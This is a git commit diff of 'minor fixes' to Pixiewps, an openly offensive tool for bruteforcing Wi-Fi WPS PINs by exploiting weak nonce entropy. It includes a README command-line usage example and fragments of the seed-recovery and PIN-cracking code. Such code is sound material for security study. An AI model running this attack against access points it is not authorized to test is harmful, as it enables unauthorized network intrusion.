Minor fixes and changes

This commit is contained in:
wiire 2015-05-14 21:04:05 +02:00
parent d43de9a149
commit f5e4bc0075
6 changed files with 75 additions and 63 deletions

View File

@ -35,16 +35,32 @@ Pixiewps can be built and installed by running:
Optional Arguments: Optional Arguments:
-n, --e-nonce : Enrollee nonce (mode 2,3,4) -n, --e-nonce : Enrollee nonce
-m, --r-nonce : Registrar nonce -m, --r-nonce : Registrar nonce
-b, --e-bssid : Enrollee BSSID -b, --e-bssid : Enrollee BSSID
-S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No] -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]
-f, --force : Bruteforce the whole keyspace (mode 4) [No] -f, --force : Bruteforce the whole keyspace [No]
-v, --verbosity : Verbosity level 1-3, 1 is quietest [2] -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]
-h, --help : Display this usage screen -h, --help : Display this usage screen
``` ```
# USAGE EXAMPLE
A common usage example is:
```
pixiewps --pke <pke> --pkr <pkr> --e-hash1 <e-hash1> --e-hash2 <e-hash2> --authkey <authkey> --e-nonce <e-nonce>
```
which requires a modified version of Reaver or Bully which prints *AuthKey*. The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x).
If the following message is shown:
> [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.
then the AP might be vulnerable and Pixiewps should be run again with the same set of data along with the option `--force` or alternatively with a newer set of data.
# DESCRIPTION OF ARGUMENTS # DESCRIPTION OF ARGUMENTS
``` ```
@ -55,7 +71,7 @@ Pixiewps can be built and installed by running:
-r, --pkr -r, --pkr
Registrar's DH public key, found in M2 or can be avoided by specifying Registrar's DH public key, found in M2 or can be avoided by specifying
small Diffie-Hellman keys in both Reaver and Pixiewps. --dh-small in both Reaver and Pixiewps.
-s, --e-hash1 -s, --e-hash1
@ -86,12 +102,12 @@ Pixiewps can be built and installed by running:
-S, --dh-small -S, --dh-small
Small Diffie-Hellman keys. The same option MUST be specified on Reaver Small Diffie-Hellman keys. The same option MUST be specified in Reaver
(1.3 or later versions) too. (1.3 or later versions) too. This option should be avoided when possible.
-f, --force -f, --force
Force Pixiewps to bruteforce the whole keyspace for mode 4. Force Pixiewps to bruteforce the whole keyspace (only for one type of PRNG).
It could take up to several minutes to complete. It could take up to several minutes to complete.
-v, --verbosity -v, --verbosity

View File

@ -1,5 +1,4 @@
CC = gcc CCFLAGS = -std=c99 -O3
CCFLAGS = -std=c99
LDFLAGS = -lssl -lcrypto LDFLAGS = -lssl -lcrypto
TARGET = pixiewps TARGET = pixiewps

View File

@ -1,5 +1,5 @@
/* /*
* pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
* All credits for the research go to Dominique Bongard. * All credits for the research go to Dominique Bongard.
* *
* Special thanks to: datahead, soxrok2212 * Special thanks to: datahead, soxrok2212
@ -75,25 +75,10 @@ int main(int argc, char **argv) {
struct global *wps; struct global *wps;
if ((wps = calloc(1, sizeof(struct global)))) { if ((wps = calloc(1, sizeof(struct global)))) {
wps->pke = 0; wps->verbosity = 3;
wps->pkr = 0; wps->error = calloc(256, 1);
wps->e_hash1 = 0; if (!wps->error)
wps->e_hash2 = 0; goto memory_err;
wps->authkey = 0;
wps->e_nonce = 0;
wps->r_nonce = 0;
wps->e_bssid = 0;
wps->psk1 = 0;
wps->psk2 = 0;
wps->dhkey = 0;
wps->kdk = 0;
wps->wrapkey = 0;
wps->emsk = 0;
wps->e_s1 = 0;
wps->e_s2 = 0;
wps->bruteforce = false;
wps->verbosity = 2;
wps->error = calloc(256, 1); if (!wps->error) goto memory_err;
wps->error[0] = '\n'; wps->error[0] = '\n';
} else { } else {
memory_err: memory_err:
@ -193,32 +178,42 @@ int main(int argc, char **argv) {
break; break;
case 'h': case 'h':
goto usage_err; goto usage_err;
break;
case '?': case '?':
default: default:
fprintf(stderr, "%s -h for help\n", argv[0]); fprintf(stderr, "Run %s -h for help.\n", argv[0]);
free(wps->error);
free(wps);
return ARG_ERROR; return ARG_ERROR;
} }
opt = getopt_long(argc, argv, option_string, long_options, &long_index); opt = getopt_long(argc, argv, option_string, long_options, &long_index);
} }
/* Not all required arguments have been supplied */ if (argc - optind != 0) {
if (wps->pke == 0 || wps->e_hash1 == 0 || wps->e_hash2 == 0) { snprintf(wps->error, 256, "\n [!] Unknown argument(s)!\n\n");
wps->error = "\n [!] Not all required arguments have been supplied!\n\n";
usage_err: usage_err:
fprintf(stderr, usage, VERSION, argv[0], wps->error); fprintf(stderr, usage, VERSION, argv[0], wps->error);
free(wps->error);
free(wps);
return ARG_ERROR; return ARG_ERROR;
} }
/* Not all required arguments have been supplied */
if (wps->pke == 0 || wps->e_hash1 == 0 || wps->e_hash2 == 0) {
snprintf(wps->error, 256, "\n [!] Not all required arguments have been supplied!\n\n");
goto usage_err;
}
/* If --dh-small is selected then no --pkr should be supplied */ /* If --dh-small is selected then no --pkr should be supplied */
if (wps->pkr && wps->small_dh_keys) { if (wps->pkr && wps->small_dh_keys) {
wps->error = "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n"; snprintf(wps->error, 256, "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n");
goto usage_err; goto usage_err;
} }
/* Either --pkr or --dh-small must be specified */ /* Either --pkr or --dh-small must be specified */
if (!wps->pkr && !wps->small_dh_keys) { if (!wps->pkr && !wps->small_dh_keys) {
wps->error = "\n [!] Either --pkr or --dh-small must be specified!\n\n"; snprintf(wps->error, 256, "\n [!] Either --pkr or --dh-small must be specified!\n\n");
goto usage_err; goto usage_err;
} }
@ -286,15 +281,15 @@ int main(int argc, char **argv) {
} }
free(buffer); free(buffer);
} else { } else {
wps->error = "\n [!] Neither --authkey and --e-bssid have been supplied!\n\n"; snprintf(wps->error, 256, "\n [!] Neither --authkey and --e-bssid have been supplied!\n\n");
goto usage_err; goto usage_err;
} }
} else { } else {
wps->error = "\n [!] Neither --authkey and --r-nonce have been supplied!\n\n"; snprintf(wps->error, 256, "\n [!] Neither --authkey and --r-nonce have been supplied!\n\n");
goto usage_err; goto usage_err;
} }
} else { } else {
wps->error = "\n [!] Neither --authkey and --e-nonce have been supplied!\n\n"; snprintf(wps->error, 256, "\n [!] Neither --authkey and --e-nonce have been supplied!\n\n");
goto usage_err; goto usage_err;
} }
} }
@ -323,15 +318,14 @@ int main(int argc, char **argv) {
bool valid = false; bool valid = false;
int mode = 1; bool found = false; int mode = 1; bool found = false;
struct timeval t0, t1; clock_t c_start, c_end;
c_start = clock();
gettimeofday(&t0, 0);
while (mode <= MAX_MODE && !found) { while (mode <= MAX_MODE && !found) {
seed = 0; print_seed = 0; seed = 0; print_seed = 0;
/* ES-1 = ES-2 = E-Nonce */ /* E-S1 = E-S2 = E-Nonce */
if (mode == 2 && wps->e_nonce) { if (mode == 2 && wps->e_nonce) {
memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN);
memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN);
@ -355,11 +349,11 @@ int main(int argc, char **argv) {
if (i == WPS_NONCE_LEN) { /* Seed found */ if (i == WPS_NONCE_LEN) { /* Seed found */
print_seed = seed; print_seed = seed;
/* Advance to get ES-1 */ /* Advance to get E-S1 */
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) for (i = 0; i < WPS_SECRET_NONCE_LEN; i++)
wps->e_s1[i] = (unsigned char) rand_r(&seed); wps->e_s1[i] = (unsigned char) rand_r(&seed);
/* Advance to get ES-2 */ /* Advance to get E-S2 */
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) for (i = 0; i < WPS_SECRET_NONCE_LEN; i++)
wps->e_s2[i] = (unsigned char) rand_r(&seed); wps->e_s2[i] = (unsigned char) rand_r(&seed);
@ -407,6 +401,7 @@ int main(int argc, char **argv) {
struct random_data *buf = (struct random_data *) calloc(1, sizeof(struct random_data)); struct random_data *buf = (struct random_data *) calloc(1, sizeof(struct random_data));
char *rand_statebuf = (char *) calloc(1, 128); char *rand_statebuf = (char *) calloc(1, 128);
initstate_r(seed, rand_statebuf, 128, buf); initstate_r(seed, rand_statebuf, 128, buf);
int32_t res = 0; int32_t res = 0;
@ -416,7 +411,7 @@ int main(int argc, char **argv) {
int i; int i;
for (i = 0; i < 4; i++) { for (i = 0; i < 4; i++) {
random_r(buf, &res); random_r(buf, &res);
if (res != randr_enonce[i]) break; if ((uint32_t) res != randr_enonce[i]) break;
} }
if (i == 4) { if (i == 4) {
@ -426,7 +421,7 @@ int main(int argc, char **argv) {
random_r(buf, &res); random_r(buf, &res);
uint32_t be = __be32_to_cpu(res); uint32_t be = __be32_to_cpu(res);
memcpy(&(wps->e_s1[4 * i]), &be, 4); memcpy(&(wps->e_s1[4 * i]), &be, 4);
memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* ES-1 = ES-2 != E-Nonce */ memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */
} }
} }
@ -443,7 +438,8 @@ int main(int argc, char **argv) {
/* WPS pin cracking */ /* WPS pin cracking */
if (mode == 1 || (mode == 2 && wps->e_nonce) || (mode == 3 && print_seed) || (mode == 4 && print_seed)) { if (mode == 1 || (mode == 2 && wps->e_nonce) || (mode == 3 && print_seed) || (mode == 4 && print_seed)) {
crack:
crack:
first_half = 0; second_half = 0; first_half = 0; second_half = 0;
while (first_half < 10000) { while (first_half < 10000) {
@ -528,9 +524,11 @@ crack:
mode++; mode++;
} }
gettimeofday(&t1, 0); c_end = clock();
long elapsed_s = t1.tv_sec - t0.tv_sec; long ms_elapsed = (c_end - c_start) / 1000;
mode--; mode--;
if (mode == MAX_MODE + 1) mode--;
printf("\n Pixiewps %s\n", VERSION); printf("\n Pixiewps %s\n", VERSION);
@ -569,10 +567,10 @@ crack:
} else { } else {
printf("\n [-] WPS pin not found!"); printf("\n [-] WPS pin not found!");
} }
printf("\n\n [*] Time taken: %lu s\n\n", elapsed_s); printf("\n\n [*] Time taken: %ld s %ld ms\n\n", ms_elapsed / 1000, ms_elapsed % 1000);
if (!found && mode == 4 && valid && !wps->bruteforce) { if (!found && mode == 4 && valid && !wps->bruteforce) {
printf(" [!] The AP /might be/ vulnerable to mode 4. Try again with --force or with another (newer) set of data.\n\n"); printf(" [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.\n\n");
} }
free(result); free(result);
@ -619,4 +617,3 @@ int32_t rand_r(uint32_t *seed) {
*seed = s; *seed = s;
return (int32_t) uret; return (int32_t) uret;
} }

View File

@ -1,5 +1,5 @@
/* /*
* pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
* All credits for the research go to Dominique Bongard. * All credits for the research go to Dominique Bongard.
* *
* Special thanks to: datahead, soxrok2212 * Special thanks to: datahead, soxrok2212
@ -42,7 +42,7 @@
#define VERSION "1.1" #define VERSION "1.1"
#define MAX_MODE 4 #define MAX_MODE 4
#define MODE4_DAYS 10 #define MODE4_DAYS 3
#define SEC_PER_HOUR 3600 #define SEC_PER_HOUR 3600
#define SEC_PER_DAY 86400 #define SEC_PER_DAY 86400
@ -108,12 +108,12 @@ char usage[] =
"\n" "\n"
" Optional Arguments:\n" " Optional Arguments:\n"
"\n" "\n"
" -n, --e-nonce : Enrollee nonce (mode 2,3,4)\n" " -n, --e-nonce : Enrollee nonce\n"
" -m, --r-nonce : Registrar nonce\n" " -m, --r-nonce : Registrar nonce\n"
" -b, --e-bssid : Enrollee BSSID\n" " -b, --e-bssid : Enrollee BSSID\n"
" -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n" " -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n"
" -f, --force : Bruteforce the whole keyspace (mode 4) [No]\n" " -f, --force : Bruteforce the whole keyspace [No]\n"
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [2]\n" " -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
"\n" "\n"
" -h, --help : Display this usage screen\n" " -h, --help : Display this usage screen\n"
"\n" "\n"

View File

@ -1,5 +1,5 @@
/* /*
* pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
* All credits for the research go to Dominique Bongard. * All credits for the research go to Dominique Bongard.
* *
* Special thanks to: datahead, soxrok2212 * Special thanks to: datahead, soxrok2212
@ -53,8 +53,8 @@ struct random_data {
}; };
void random_r(struct random_data *buf, int32_t *result); void random_r(struct random_data *buf, int32_t *result);
int srandom_r (unsigned int seed, struct random_data *buf); int srandom_r(unsigned int seed, struct random_data *buf);
int initstate_r (unsigned int seed, char *arg_state, size_t n, struct random_data *buf); int initstate_r(unsigned int seed, char *arg_state, size_t n, struct random_data *buf);
int setstate_r (char *arg_state, struct random_data *buf); int setstate_r(char *arg_state, struct random_data *buf);
#endif /* _RANDOM_R_H */ #endif /* _RANDOM_R_H */

View File

@ -1,5 +1,5 @@
/* /*
* pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
* All credits for the research go to Dominique Bongard. * All credits for the research go to Dominique Bongard.
* *
* Special thanks to: datahead, soxrok2212 * Special thanks to: datahead, soxrok2212